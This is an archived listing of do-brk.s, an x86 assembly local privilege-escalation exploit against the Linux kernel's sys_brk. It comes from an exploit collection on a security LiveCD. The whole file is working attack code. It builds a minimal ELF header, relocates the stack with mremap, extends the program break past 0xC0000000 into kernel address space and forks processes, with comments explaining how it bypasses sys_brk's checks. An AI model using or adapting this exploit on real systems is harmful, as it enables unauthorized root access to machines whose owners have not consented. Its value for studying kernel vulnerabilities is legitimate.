home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / do-brk.s < prev    next >
Text File  |  2005-02-12  |  3KB  |  101 lines
  1. ; Christophe Devine (devine at cr0.net) and Julien Tinnes (julien at cr0.org)
  2. ;
  3. ; This exploit uses sys_brk directly to expand his break and doesn't rely
  4. ; on the ELF loader to do it.
  5. ;
  6. ; To bypass a check in sys_brk against available memory, we use a high
  7. ; virtual address as base address
  8. ;
  9. ; In most case (let's say when no PaX w/ ASLR :) we have to move the stack
  10. ; so that we can expand our break
  11. ;
  12.  
  13.  
  14.   BITS 32
  15.  
  16.                 org     0xBFFF0000
  17.  
  18.   ehdr:                                                 ; Elf32_Ehdr
  19.                 db      0x7F, "ELF", 1, 1, 1            ;   e_ident
  20.         times 9 db      0
  21.                 dw      2                               ;   e_type
  22.                 dw      3                               ;   e_machine
  23.                 dd      1                               ;   e_version
  24.                 dd      _start                          ;   e_entry
  25.                 dd      phdr - $$                       ;   e_phoff
  26.                 dd      0                               ;   e_shoff
  27.                 dd      0                               ;   e_flags
  28.                 dw      ehdrsize                        ;   e_ehsize
  29.                 dw      phdrsize                        ;   e_phentsize
  30.                 dw      2                               ;   e_phnum
  31.                 dw      0                               ;   e_shentsize
  32.                 dw      0                               ;   e_shnum
  33.                 dw      0                               ;   e_shstrndx
  34.  
  35.   ehdrsize      equ     $ - ehdr
  36.  
  37.   phdr:                                                 ; Elf32_Phdr
  38.                 dd      1                               ;   p_type
  39.                 dd      0                               ;   p_offset
  40.                 dd      $$                              ;   p_vaddr
  41.                 dd      $$                              ;   p_paddr
  42.                 dd      filesize                        ;   p_filesz
  43.                 dd      filesize                        ;   p_memsz
  44.                 dd      7                               ;   p_flags
  45.                 dd      0x1000                          ;   p_align
  46.  
  47.   phdrsize      equ     $ - phdr
  48.  
  49.   _start:
  50.  
  51.         ; ** Make sure the stack is not above us
  52.  
  53.                 mov     eax, 163         ; mremap
  54.                 mov     ebx, esp
  55.         
  56.         and    ebx, ~(0x1000 - 1)    ; align to page size
  57.  
  58.         mov    ecx, 0x1000    ; we suppose stack is one page only
  59.                 mov     edx, 0x9000    ; be sure it can't get mapped after
  60.                     ; us
  61.                 mov     esi,1        ; MREMAP_MAYMOVE
  62.                 int     0x80
  63.  
  64.  
  65.         and    esp, (0x1000 - 1)    ; offset in page
  66.         add    esp, eax        ; stack ptr to new location
  67.                         ; nb: we don't fix
  68.                         ; pointers so environ/cmdline
  69.                         ; are not available
  70.  
  71.           mov    eax,152        ; mlockall (for tests as root)
  72.           mov    ebx,2        ; MCL_FUTURE
  73.           int    0x80
  74.  
  75.         ; get VMAs for the kernel memory
  76.  
  77.                 mov     eax,45          ; brk
  78.                 mov     ebx,0xC0500000
  79.         int    0x80
  80.  
  81.         
  82.         mov    ecx, 4
  83.   loop0:
  84.         
  85.           mov    eax, 2        ; fork
  86.           int    0x80
  87.         loop    loop0
  88.  
  89.   _idle:
  90.  
  91.                 mov     eax,162         ; nanosleep
  92.                 mov     ebx,timespec
  93.                 int     0x80
  94.                 jmp     _idle
  95.  
  96.   timespec      dd      10,0
  97.  
  98.   filesize      equ     $ - $$
  99.  
  100.  
  101.